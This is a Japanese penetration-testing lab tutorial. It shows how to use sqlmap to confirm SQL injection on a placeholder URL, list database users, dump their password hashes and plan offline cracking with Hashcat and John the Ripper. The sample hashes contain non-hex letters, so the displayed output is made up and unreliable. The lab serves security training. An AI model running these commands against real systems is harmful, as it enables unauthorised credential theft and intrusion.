sqlmap を使用したデータベースユーザーとパスワードハッシュの列挙

Beginner
オンラインで実践に進む

はじめに

この実験では、sqlmap の機能を探求します。sqlmap は、SQL インジェクションの脆弱性を検出し悪用するプロセスを自動化し、データベースサーバーを乗っ取るためのオープンソースのペネトレーションテストツールです。具体的には、データベースユーザーを列挙し、ターゲットデータベースからパスワードハッシュをダンプする方法を学びます。これは多くのペネトレーションテストにおいて重要なステップです。ユーザー認証情報へのアクセス権を取得することで、システムのさらなる侵害につながる可能性があります。この実験では、シミュレートされた脆弱な Web アプリケーションを使用して、管理された環境でこれらのテクニックを練習します。

足がかりを得て十分な権限を確認する

このステップでは、まず潜在的な SQL インジェクションの脆弱性を特定し、sqlmap がターゲットデータベースと正常に対話できることを確認します。この初期チェックは、「足がかり」を確保し、現在のユーザーがさらなる列挙を実行するために十分な権限を持っていることを確認するために不可欠です。

まず、ターミナルを開きます。デフォルトの作業ディレクトリは /home/labex/project です。

脆弱な Web アプリケーションのプレースホルダー URL を使用します。実際のシナリオでは、偵察と脆弱性スキャンを通じてこの URL を特定しているはずです。この実験では、ターゲットを http://example.com/vulnerable.php?id=1 と仮定します。

SQL インジェクションをテストし、データベースに関する基本的な情報を収集するために、以下の sqlmap コマンドを実行します。-u フラグはターゲット URL を指定し、--current-user は現在のデータベースユーザーを取得しようとします。

sqlmap -u "http://example.com/vulnerable.php?id=1" --current-user

以下のような出力が表示され、sqlmap がさまざまなインジェクションポイントをテストし、現在のユーザーを確認していることが示されます。

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | .'| . |
      |___|_|_|_|_|_|__,|  _|
                         |_|   http://sqlmap.org

[INFO] starting @ 12:34:56 /2023-10-27/

... (various tests and information) ...

[INFO] the back-end DBMS is MySQL
current user: 'root@localhost'

current user: 'root@localhost' という出力は、sqlmap が現在のデータベースユーザーを正常に特定したことを示しています。これは良い兆候です。root は通常高い権限を持っており、これはユーザーとハッシュをダンプするために必要となります。

--users フラグを使用してすべてのデータベースユーザーを一覧表示する

このステップでは、sqlmap--users フラグを使用してすべてのデータベースユーザーを列挙します。これは、SQL インジェクションの脆弱性と十分な権限を確認した後の一般的な次のステップです。データベースユーザーを知ることは、さらなる攻撃やデータベース構造の理解に役立つ貴重な情報を提供します。

ターミナルで続行します。

以下の sqlmap コマンドを実行します。--users フラグは、sqlmap にデータベース内のすべてのユーザーを一覧表示するように指示します。

sqlmap -u "http://example.com/vulnerable.php?id=1" --users

sqlmap はテストを実行し、データベースユーザーのリストを取得しようとします。以下のような出力が表示されるはずです。

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | .'| . |
      |___|_|_|_|_|_|__,|  _|
                         |_|   http://sqlmap.org

[INFO] starting @ 12:34:56 /2023-10-27/

... (various tests and information) ...

[INFO] fetching database users
[INFO] retrieved database users:
[+] 'root@localhost'
[+] 'admin@localhost'
[+] 'webuser@localhost'

[INFO] retrieved 3 database user(s)

この出力は、sqlmaproot@localhostadmin@localhostwebuser@localhost の 3 つのデータベースユーザーを正常に列挙したことを示しています。この情報は、次のステップでこれらのユーザーのパスワードハッシュをダンプしようとする際に不可欠です。

--passwords フラグを使用してパスワードハッシュのダンプを試みる

このステップでは、列挙されたデータベースユーザーに関連付けられたパスワードハッシュをダンプしようとすることで、攻撃をエスカレートさせます。これらのハッシュはオフラインでクラックして平文パスワードを取得できるため、SQL インジェクション攻撃の最終目標となることがよくあります。

ターミナルで続行します。

以下の sqlmap コマンドを実行します。--passwords フラグは、sqlmap にすべてのデータベースユーザーのパスワードハッシュを取得するように指示します。

sqlmap -u "http://example.com/vulnerable.php?id=1" --passwords

sqlmap はパスワードハッシュの抽出を試みます。このプロセスは、データベースのサイズと複雑さによっては時間がかかる場合があります。以下のような出力が表示され、取得されたユーザーとその対応するパスワードハッシュが表示されるはずです。

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | .'| . |
      |___|_|_|_|_|_|__,|  _|
                         |_|   http://sqlmap.org

[INFO] starting @ 12:34:56 /2023-10-27/

... (various tests and information) ...

[INFO] fetching database users password hashes
[INFO] retrieved database users password hashes:
[+] 'root@localhost': *A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4
[+] 'admin@localhost': *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3
[+] 'webuser@localhost': *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4

[INFO] retrieved 3 database user(s) password hash(es)

出力には、ユーザー名とその関連パスワードハッシュが表示されます。これらのハッシュは通常、データベースシステム固有の形式(例:MySQL の * プレフィックス付きハッシュ、またはその他のさまざまなハッシュアルゴリズム)で保存されます。これらのハッシュは、オフラインクラッキングの準備ができました。

列挙を実行し、結果を分析する

このステップでは、前のコマンドを組み合わせて、単一の sqlmap 実行でユーザーとそのパスワードハッシュの完全な列挙を実行します。これは、必要な情報をすべて収集するためのより効率的な方法です。また、出力結果を分析して、取得されたデータの構造を理解します。

ターミナルで続行します。

--users フラグと --passwords フラグを組み合わせた以下の sqlmap コマンドを実行します。

sqlmap -u "http://example.com/vulnerable.php?id=1" --users --passwords

sqlmap はプロセスを実行し、まずユーザーを列挙してから、それらのパスワードハッシュを取得しようとします。出力は、前のステップで見たものと同様の情報が統合されて表示されます。

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | .'| . |
      |___|_|_|_|_|_|__,|  _|
                         |_|   http://sqlmap.org

[INFO] starting @ 12:34:56 /2023-10-27/

... (various tests and information) ...

[INFO] fetching database users
[INFO] retrieved database users:
[+] 'root@localhost'
[+] 'admin@localhost'
[+] 'webuser@localhost'

[INFO] fetching database users password hashes
[INFO] retrieved database users password hashes:
[+] 'root@localhost': *A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4
[+] 'admin@localhost': *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3
[+] 'webuser@localhost': *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4

[INFO] retrieved 3 database user(s) password hash(es)

結果を分析します。

  • ユーザー: データベースユーザーのリストを明確に確認できます。
  • ハッシュ: 各ユーザーにはパスワードハッシュが関連付けられています。これらのハッシュの形式は、データベースシステムとその構成によって異なります。たとえば、MySQL のハッシュはアスタリスク (*) で始まることがよくあります。

この組み合わせコマンドは、両方の情報を一度に収集するのに効率的です。

ハッシュを使用したオフラインパスワードクラッキングの次のステップについて議論する

この最終ステップでは、パスワードハッシュのダンプに成功した場合の影響を理解し、次の論理的なステップであるオフラインパスワードクラッキングについて議論します。sqlmap はハッシュの取得を支援しますが、クラッキングは行いません。これは通常、専用のツールを使用して行われます。

以下のようなパスワードハッシュを正常に取得しました。

  • *A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4 (root@localhost 用)
  • *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3 (admin@localhost 用)
  • *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4 (webuser@localhost 用)

これらのハッシュは実際のパスワードではなく、それらの暗号化された表現です。平文パスワードを取得するには、通常 HashcatJohn the Ripper のようなツールを使用します。

オフラインパスワードクラッキングのプロセス:

  1. ハッシュタイプの特定: 最初のステップは、ハッシュのタイプを特定することです。sqlmap はしばしばヒントを提供します(例:「MySQL パスワードハッシュ」)。Hashcat のようなツールには、さまざまなハッシュタイプのモードがあります。
  2. ハッシュの保存: 取得したハッシュをファイルに保存します。1 行に 1 つのハッシュを記述します。たとえば、~/project ディレクトリに hashes.txt という名前のファイルを作成できます。
    *A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4
    *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3
    *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4
    
  3. クラッキングツールの選択:
    • Hashcat: 強力で高速なパスワードクラッカーで、GPU と一緒に使用されることが多いです。
    • John the Ripper (JtR): もう 1 つの人気があり汎用性の高いパスワードクラッカーです。
  4. クラッキング方法の選択:
    • 辞書攻撃 (Dictionary Attack): 一般的なパスワードのリスト(単語リスト)を使用して各単語をハッシュ化し、ターゲットハッシュと比較します。
    • 総当たり攻撃 (Brute-Force Attack): 一致が見つかるまで、すべての可能な文字の組み合わせを体系的に試します。これは、パスワードが長い場合や複雑な場合には非常に時間がかかります。
    • ハイブリッド攻撃 (Hybrid Attack): 辞書攻撃と総当たり攻撃を組み合わせます。
  5. クラッキングの実行: 選択したツールをハッシュファイルと選択したクラッキング方法で実行します。たとえば、MySQL ハッシュ(モード 300)に Hashcat を使用する場合:
    ## This command is for illustrative purposes and will not be executed in this lab.
    ## hashcat -m 300 hashes.txt /usr/share/wordlists/rockyou.txt --force
    
    (注意:rockyou.txt は一般的な単語リストで、Kali Linux や類似のディストリビューションでは /usr/share/wordlists/ によく見られます。解凍が必要な場合があります。)

クラッキングが成功すると、平文パスワードが明らかになり、それを使用してデータベースやこれらの認証情報が再利用される可能性のある他のシステムへのさらなるアクセスを得ることができます。これは、セキュリティのために強力でユニークなパスワードと適切なハッシュアルゴリズムの重要性を強調しています。

まとめ

この実験では、sqlmap を使用してデータベースユーザーを列挙し、シミュレートされた脆弱な Web アプリケーションからパスワードハッシュをダンプする方法を学びました。まず、足がかりを得て十分な権限を確認し、次に --users フラグを使用してすべてのデータベースユーザーをリストアップし、最後に --passwords フラグを使用してパスワードハッシュのダンプを試みました。また、これらの操作を組み合わせて効率化する方法と、出力の分析方法も学びました。

この機密情報を抽出する方法を理解することは、ペネトレーションテストにおいて重要なスキルです。取得したパスワードハッシュは、次のフェーズであるオフラインパスワードクラッキングの鍵となります。これにより、平文の認証情報が明らかになり、システムのさらなる侵害につながる可能性があります。この実験では、倫理的ハッキングの強力なツールを使用した実践的なハンズオン体験を提供しました。